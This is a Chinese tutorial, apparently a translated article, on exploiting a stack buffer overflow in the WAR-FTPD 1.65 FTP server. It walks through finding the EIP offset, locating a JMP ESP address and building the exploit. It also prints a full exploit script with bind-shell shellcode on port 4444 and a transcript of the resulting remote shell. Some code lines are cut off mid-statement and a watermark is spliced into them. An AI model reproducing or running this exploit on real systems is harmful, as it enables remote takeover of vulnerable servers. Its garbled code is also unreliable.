网络通信 频道

Win32 缓冲区溢出实战 下

 看到覆盖EIP的还是5555,我们还需要第二次替换它,即将上一次buffer
中5555的位置用1111,2222,3333,...依次替换如下:
C:\fuzzer>reach_war-ftpd.py 192.168.178.129 21 1 5 10 2 5
220-Jgaa''s Fan Club FTP Service WAR-FTPD 1.65 Ready 220
Please enter your user name.
Buffer size: 3401
331 User name okay, Need password.
Check in Ollydbg!
这个时候查看Ollydbg,如下图


这次覆盖EIP的是32323232,即2222,这样我们就可以得到buffer覆盖
EIP时候的需要长度了。先脱离''reachwar-ftpd.py'',直接用''reacheip.py''来打
印出这个时候的buffer:
C:\fuzzer>reach_war-ftpd.py 1 5 10 2 5
Buffer size: 3401
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA1111AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2222AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......
(下面省略无关显示)
然后将2222之前的显示拷贝(Win2k的cmd下鼠标圈选,回车拷贝到内
存中,需要粘贴的地方右键),以备下面用:
C:\fuzzer> python -c "print
len(''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA1111AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'')"
485
这样我们就得到了我们想知道的长度485。更加简单的方法就是直接用
''reacheip.py'',原理其实是一样的,其他情况可以修改参数同样获得:
C:\fuzzer>reach_eip.py 1 5 1 2 5
Buffer size: 485
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA1111AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
现在我们知道了buffer的长度,我们可以初步调试来利用这个漏洞。构
建形如''USER '' + ''485 bytes long string'' + ''a test RET ADDR'',实际中如
''triggerdeadbeef.py''脚本:
C:\fuzzer>type trigger_deadbeef.py
import struct
print ''USER ''+''\x41''*485+struct.pack(''幻影旅团溢出学习材料cloie#www.ph4nt0m.org
我们用nc来发送这个buffer:
C:\fuzzer>trigger_deadbeef.py | nc 192.168.178.129 21
220- Jgaa''s Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
331 User name okay, Need password.
这个时候按CTRL+C 停止''nc'',在Ollydbg中如下图


显示信息为''Access violation when executing [DEADBEEF]'',看来很好
的覆盖了EIP。接下来做第二步工作,寻找shellcode的位置,这里就遇到
LINUX跟Win32有区别的地方了。从上面可以看到,这个时候stack中的地
址都是类似0x00A4FDD0,要用这样的地址值覆盖EIP是不妥的,因为里面
包含了0x00,不能用于RET ADDRESS(原理参考其他文档)。
仔细查看stack(Ollydbg中右下角窗口)中,发现ESP的地址紧跟在EIP后
面不远的地方,就相隔4 bytes。这就是Win32中exploit的另一条罗马大道
(详细原理分析看www.nsfocus.net莫大经典文章)了,将shellcode放在这个
时候ESP地址开始的地方,在EIP位置用一个''JMP ESP''的地址覆盖,这样
就可以很好的执行我们的shellcode了。
但是如何找到''JMP ESP''的地址呢?可以从互联网上搜索到针对特定
系统的值,也有一些通用的地址。这里提供一种方法手工在自己系统上获
得,利用了Ollydbg的一个插件,即OllyUni by FX of Phenoelit,将OllyUni.dll
拷贝到Ollydbg目录下即可用,使用方法Ollydbg中左上窗口右键,选
''Overflow Return Address->ASCII overflow returns->Search JMP/CALL
ESP'',如下图:


搜索的时间会有一点长,结束后''View->Log'',看到很多地址值,
选一个没有0x00的即可。


PS,利用lion那个sac.exe可以达到同样的效果。

四、漏洞利用(exploit)
一个简单的利用脚本如下:
C:\fuzzer>type exp_beta.py
import struct
sc =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
sc +=
"\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
sc +=
"\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
sc +=
"\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
sc +=
"\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
sc +=
"\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
sc +=
"\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
sc +=
"\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
sc +=
"\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
sc +=
"\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
sc +=
"\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
sc +=
"\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
sc +=
"\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
sc +=
"\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
sc +=
"\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
sc +=
"\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
sc +=
"\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
sc +=
"\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
sc +=
"\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
sc +=
幻影旅团溢出学习材料cloie#www.ph4nt0m.org
"\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
sc +=
"\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
sc +=
"\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
sc +=
"\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
sc +=
"\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
sc +=
"\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"
print ''USER ''+''\x41''*485+struct.pack(''实际利用一下,需要注意的是0x750362c3是作者系统上的''JMP ESP''地
址,不同系统平台获得的''JMP ESP''地址是不一样的。其中''\x41''和''\x42''类
似NOP,会增加一些寄存器的值,在这里不会影响exploit。Sc是shellcode,
会绑定一个shell在4444端口。测试一下:
C:\fuzzer> exp_beta.py | nc 192.168.178.129 21
220- Jgaa''s Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
331 User name okay, Need password.
这个时候CTRL+C停止nc,看看有没有成功溢出:
C:\fuzzer> $ telnet 192.168.178.129 4444
Trying 192.168.178.129...
Connected to 192.168.178.129.
Escape character is ''^]''.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\Program Files\War-ftpd>
OK,测试成功^_^。
五、译者心得
首先,感谢作者,给了我们一篇如此详细如此经典的文章,可以说是
面面俱到,图文并茂,无论怎样的赞誉我想都是作者受之无愧的。文章从
漏洞发现、漏洞调试到漏洞利用,详细讲解如何找到buffer长度,如何寻
找''JMP ESP''地址,如何写exploit。对于初学者,这样的文章很值得好好学
习哦。

再者,本文的可扩展性非常好。比如确定buffer长度部分,如果buffer
过长,即替换次数超过2次(不知道会不会有这样的情况),假设CCPROXY
6.0那个HTTP LOG溢出的buffer,你可能需要通过修改reach_eip.py来实现
第三次替换。
同样的,fuzzer可以挖掘War-Ftpd的BUG,也可以尝试用同样的方法挖
掘其他FTPD的漏洞。比如最近发布的Ability Server 2.34 FTP STOR Buffer
Overflow,就是这篇文章的实践。同样,还可以对SMTP或者POP进行挖
掘,如果你对yahoopops 0.6进行测试,你也可以发现那个SMTP的溢出漏
洞。修改一下,也可以支持其他协议
作者唯一没有提及的就是exploit中''\x42''*32,在调试的时候,明明看到
EIP和ESP相差只是4 bytes,为什么这里用32 bytes填充呢?这个问题困扰
了译者很久,因为作者其他文章都没有英文版,所以他在其他文章里提及
过此问题也说不定。
后来经幻影的肉肉帮助,从单步执行查看具体发生什么这点入手,终
于明白这里的32 bytes其实是跟shellcode有关系的。仔细看上面的sc,里面
有一个机器码''\x5b'',汇编句就是''POP EBX'',执行这句的时候可能跟其他
一些寄存器的值有关联,而''\x42''的汇编句是''INC EDX'',至于如何关联,
就要请高手解答了。
如果换一个shellcode,则只需4 bytes的数据填充即可,这样一来,思
路就清晰多了,千万不要被那32 bytes混淆了。
趁周末翻译完了这篇文章,在此特别感谢幻影的所有成员,感谢在译
者学习过程中给予莫大帮助的网友,谢谢。翻译不对不妥之处请来信纠正。
最后以ipxodi前辈推荐的一句警句让我们共勉:
"If you assume that there''s no hope, you guarantee there will be no hope.
If you assume that there is an instinct for freedom, there are opportunities to
change things."
-Noam Chomsky

文章转载地址:http://www.cnpaf.net/Class/hack/05121820345262195716.htm

0
相关文章